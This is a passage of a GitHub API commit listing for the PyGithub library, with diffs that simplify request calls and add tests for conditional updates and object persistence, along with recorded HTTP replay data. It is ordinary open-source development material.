github.Repository.Repository), repo\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/repos/\" + repo._identity,\n- None,\n- None\n+ self.url + \"/repos/\" + repo._identity\n )\n \n @property"},{"sha":"9ca0133be4c77ff5720473de5618c97312d6d7e5","filename":"github/UserKey.py","status":"modified","additions":3,"deletions":5,"changes":8,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/UserKey.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/UserKey.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/UserKey.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -79,9 +80,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, title=github.GithubObject.NotSet, key=github.GithubObject.NotSet):\n@@ -101,8 +100,7 @@ def edit(self, title=github.GithubObject.NotSet, key=github.GithubObject.NotSet)\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n "},{"sha":"4ddefece6ae21f29c76934cbd1ed7f122907ec1e","filename":"github/tests/AllTests.py","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/AllTests.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/AllTests.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/AllTests.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -56,6 +56,7 @@\n from RateLimiting import *\n from Repository import *\n from RepositoryKey import *\n+from Status import *\n from Tag import *\n from Team import *\n from UserKey import *\n@@ -79,3 +80,6 @@\n # from Issue142 import * # Deactivated for Travis-CI because Github has lowered the rate limitations\n from Issue158 import *\n from Issue174 import *\n+\n+from ConditionalRequestUpdate import ConditionalRequestUpdate\n+from Persistence import Persistence"},{"sha":"bfd3f87df527126bffa6c10c78cbb7d790e54542","filename":"github/tests/ConditionalRequestUpdate.py","status":"added","additions":43,"deletions":0,"changes":43,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ConditionalRequestUpdate.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ConditionalRequestUpdate.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ConditionalRequestUpdate.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,43 @@\n+# -*- coding: utf-8 -*-\n+\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2013 AKFish #\n+# #\n+# This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+# #193: Line endings should be linux style\n+\n+import Framework\n+import github\n+\n+\n+class ConditionalRequestUpdate(Framework.TestCase):\n+ def setUp(self):\n+ Framework.TestCase.setUp(self)\n+ self.repo = self.g.get_repo(\"akfish/PyGithub\")\n+\n+ def testDidNotUpdate(self):\n+ self.assertFalse(self.repo.update(), msg=\"The repo is not changes. But update() != False\")\n+\n+ def testDidUpdate(self):\n+ self.assertTrue(self.repo.update(), msg=\"The repo should be changed by now. But update() != True\")\n+\n+ def testUpdateObjectWithoutEtag(self):\n+ r = self.g.get_repo(\"jacquev6/PyGithub\")\n+ self.assertTrue(r.update())"},{"sha":"24e814b49afae222e8ac8a79ee5696166a76abc1","filename":"github/tests/Framework.py","status":"modified","additions":17,"deletions":0,"changes":17,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Framework.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Framework.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/Framework.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -244,8 +245,24 @@ def assertListKeyBegin(self, elements, key, expectedKeys):\n \n \n class TestCase(BasicTestCase):\n+ def doCheckFrame(self, obj, frame):\n+ if obj._headers == {} and frame is None:\n+ return\n+ if obj._headers is None and frame == {}:\n+ return\n+ self.assertEqual(obj._headers, frame[2])\n+\n+ def getFrameChecker(self):\n+ return lambda requester, obj, frame: self.doCheckFrame(obj, frame)\n+\n def setUp(self):\n BasicTestCase.setUp(self)\n+\n+ # Set up frame debugging\n+ github.GithubObject.GithubObject.setCheckAfterInitFlag(True)\n+ github.Requester.Requester.setDebugFlag(True)\n+ github.Requester.Requester.setOnCheckMe(self.getFrameChecker())\n+\n self.g = github.Github(self.login, self.password)\n \n "},{"sha":"d74dbac39717bba9476ca39070f6f0beced70578","filename":"github/tests/Gist.py","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Gist.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Gist.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/Gist.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -108,12 +108,12 @@ def testStarring(self):\n self.assertFalse(self.gist.is_starred())\n \n def testFork(self):\n- gist = self.g.get_gist(\"2729818\") # Random gist\n+ gist = self.g.get_gist(\"6296553\") # Random gist\n myGist = gist.create_fork()\n- self.assertEqual(myGist.id, \"2729865\")\n+ self.assertEqual(myGist.id, \"6296732\")\n self.assertEqual(myGist.fork_of, None) # WTF\n- sameGist = self.g.get_gist(\"2729865\")\n- self.assertEqual(sameGist.fork_of.id, \"2729818\")\n+ sameGist = self.g.get_gist(\"6296732\")\n+ self.assertEqual(sameGist.fork_of.id, \"6296553\")\n \n def testDelete(self):\n self.gist.delete()"},{"sha":"dec6a80595e541d50720527d16f752d44ef4acf3","filename":"github/tests/Github_.py","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Github_.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Github_.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/Github_.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -128,3 +128,9 @@ def testGetUsers(self):\n \n def testGetUsersSince(self):\n self.assertListKeyBegin(self.g.get_users(since=1000), lambda u: u.login, [\"sbecker\"])\n+\n+ def testGetRepos(self):\n+ self.assertListKeyBegin(self.g.get_repos(), lambda r: r.name, [\"grit\", \"merb-core\", \"rubinius\", \"god\", \"jsawesome\", \"jspec\", \"exception_logger\", \"ambition\"])\n+\n+ def testGetReposSince(self):\n+ self.assertListKeyBegin(self.g.get_repos(since=1000), lambda r: r.name, [\"jquery-humanize-messages-plugin\", \"4slicer\", \"fixture-scenarios\", \"mongrel_proctitle\", \"rails-plugins\"])"},{"sha":"5a56bd195039b7f2077fa19952af9bcb5f6c95d1","filename":"github/tests/NamedUser.py","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/NamedUser.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/NamedUser.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/NamedUser.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -109,6 +109,10 @@ def testGetFollowers(self):\n def testGetFollowing(self):\n self.assertListKeyEqual(self.user.get_following(), lambda f: f.login, [\"nvie\", \"schacon\", \"jamis\", \"chad\", \"unclebob\", \"dabrahams\", \"jnorthrup\", \"brugidou\", \"regisb\", \"walidk\", \"tanzilli\", \"fjardon\", \"r3c\", \"sdanzan\", \"vineus\", \"cjuniet\", \"gturri\", \"ant9000\", \"asquini\", \"claudyus\", \"jardon-u\", \"s-bernard\", \"kamaradclimber\", \"Lyloa\"])\n \n+ def testHasInFollowing(self):\n+ nvie = self.g.get_user(\"nvie\")\n+ self.assertTrue(self.user.has_in_following(nvie))\n+\n def testGetOrgs(self):\n self.assertListKeyEqual(self.user.get_orgs(), lambda o: o.login, [\"BeaverSoftware\"])\n "},{"sha":"300e91744c7c62d950b6e5eb91ea8e697b3f570b","filename":"github/tests/Persistence.py","status":"added","additions":55,"deletions":0,"changes":55,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Persistence.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/Persistence.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/Persistence.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,55 @@\n+# -*- coding: utf-8 -*-\n+\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2013 Vincent Jacques #\n+# #\n+# This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+import Framework\n+import github\n+\n+if Framework.atLeastPython26:\n+ from io import BytesIO as IO\n+else:\n+ from StringIO import StringIO as IO\n+\n+\n+class Persistence(Framework.TestCase):\n+ def setUp(self):\n+ Framework.TestCase.setUp(self)\n+ self.repo = self.g.get_repo(\"akfish/PyGithub\")\n+\n+ self.dumpedRepo = IO()\n+ self.g.dump(self.repo, self.dumpedRepo)\n+ self.dumpedRepo.seek(0)\n+\n+ def tearDown(self):\n+ self.dumpedRepo.close()\n+\n+ def testLoad(self):\n+ loadedRepo = self.g.load(self.dumpedRepo)\n+ self.assertTrue(isinstance(loadedRepo, github.Repository.Repository))\n+ self.assertTrue(loadedRepo._requester is self.repo._requester)\n+ self.assertTrue(loadedRepo.owner._requester is self.repo._requester)\n+ self.assertEqual(loadedRepo.name, \"PyGithub\")\n+ self.assertEqual(loadedRepo.url, \"https://api.github.com/repos/akfish/PyGithub\")\n+\n+ def testLoadAndUpdate(self):\n+ loadedRepo = self.g.load(self.dumpedRepo)\n+ self.assertTrue(loadedRepo.update())"},{"sha":"dfc62ba258a155c9b40432ec67a51b8b8822ec73","filename":"github/tests/ReplayData/ConditionalRequestUpdate.setUp.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.setUp.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.setUp.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/ConditionalRequestUpdate.setUp.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+api.github.com\n+None\n+/repos/akfish/PyGithub\n+{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n+null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13698'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"8600bedcb7fed1d8065e1693e05529ce\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:08 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')]\n+{\"id\":12156762,\"name\":\"PyGithub\",\"full_name\":\"akfish/PyGithub\",\"owner\":{\"login\":\"akfish\",\"id\":922715,\"avatar_url\":\"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png\",\"gravatar_id\":\"12a1b44d4e5c19cee59618084602b112\",\"url\":\"https://api.github.com/users/akfish\",\"html_url\":\"https://github.com/akfish\",\"followers_url\":\"https://api.github.com/users/akfish/followers\",\"following_url\":\"https://api.github.com/users/akfish/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/akfish/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/akfish/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/akfish/subscriptions\",\"organizations_url\":\"https://api.github.com/users/akfish/orgs\",\"repos_url\":\"https://api.github.com/users/akfish/repos\",\"events_url\":\"https://api.github.com/users/akfish/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/akfish/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/akfish/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":true,\"url\":\"https://api.github.com/repos/akfish/PyGithub\",\"forks_url\":\"https://api.github.com/repos/akfish/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/akfish/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/akfish/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/akfish/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/akfish/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/akfish/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/akfish/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/akfish/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/akfish/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/akfish/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/akfish/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/akfish/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/akfish/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/akfish/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/akfish/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/akfish/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/akfish/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/akfish/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/akfish/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/akfish/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/akfish/PyGithub/labels{/name}\",\"created_at\":\"2013-08-16T10:56:11Z\",\"updated_at\":\"2013-08-22T02:09:11Z\",\"pushed_at\":\"2013-08-22T02:09:09Z\",\"git_url\":\"git://github.com/akfish/PyGithub.git\",\"ssh_url\":\"git@github.com:akfish/PyGithub.git\",\"clone_url\":\"https://github.com/akfish/PyGithub.git\",\"svn_url\":\"https://github.com/akfish/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":6736,\"watchers_count\":0,\"language\":\"Python\",\"has_issues\":false,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":0,\"mirror_url\":null,\"open_issues_count\":0,\"forks\":0,\"open_issues\":0,\"watchers\":0,\"master_branch\":\"master\",\"default_branch\":\"master\",\"permissions\":{\"admin\":true,\"push\":true,\"pull\":true},\"network_count\":70,\"parent\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"},\"source\":{\"id\":3544490,\"name\":\"PyGithub\",\"full_name\":\"jacquev6/PyGithub\",\"owner\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"private\":false,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"description\":\"Python library implementing the full Github API v3\",\"fork\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"forks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/forks\",\"keys_url\":\"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/jacquev6/PyGithub/teams\",\"hooks_url\":\"https://api.github.com/repos/jacquev6/PyGithub/hooks\",\"issue_events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}\",\"events_url\":\"https://api.github.com/repos/jacquev6/PyGithub/events\",\"assignees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}\",\"branches_url\":\"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}\",\"tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/tags\",\"blobs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}\",\"git_tags_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}\",\"git_refs_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}\",\"trees_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}\",\"statuses_url\":\"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}\",\"languages_url\":\"https://api.github.com/repos/jacquev6/PyGithub/languages\",\"stargazers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/stargazers\",\"contributors_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contributors\",\"subscribers_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscribers\",\"subscription_url\":\"https://api.github.com/repos/jacquev6/PyGithub/subscription\",\"commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}\",\"git_commits_url\":\"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}\",\"comments_url\":\"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}\",\"issue_comment_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}\",\"contents_url\":\"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}\",\"compare_url\":\"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}\",\"merges_url\":\"https://api.github.com/repos/jacquev6/PyGithub/merges\",\"archive_url\":\"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}\",\"downloads_url\":\"https://api.github.com/repos/jacquev6/PyGithub/downloads\",\"issues_url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}\",\"pulls_url\":\"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}\",\"milestones_url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}\",\"notifications_url\":\"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}\",\"labels_url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}\",\"created_at\":\"2012-02-25T12:53:47Z\",\"updated_at\":\"2013-08-21T20:32:08Z\",\"pushed_at\":\"2013-08-21T20:31:45Z\",\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"homepage\":\"http://jacquev6.github.com/PyGithub\",\"size\":7437,\"watchers_count\":248,\"language\":\"Python\",\"has_issues\":true,\"has_downloads\":true,\"has_wiki\":true,\"forks_count\":70,\"mirror_url\":null,\"open_issues_count\":17,\"forks\":70,\"open_issues\":17,\"watchers\":248,\"master_branch\":\"master\",\"default_branch\":\"master\"}}\n+"},{"sha":"025aee8c0f6dea08b255b2229fd018af435b9d2a","filename":"github/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt","status":"added","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/ConditionalRequestUpdate.testDidNotUpdate.txt?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,11 @@\n+https\n+GET\n+api.github.com\n+None\n+/repos/akfish/PyGithub\n+{'If-None-Match': '\"8600bedcb7fed1d8065e1693e05529ce\"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 22 Aug 2013 02:09:11 GMT'}\n+null\n+304\n+[('status', '304 Not Modified'), ('x-ratelimit-remaining', '4988'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, 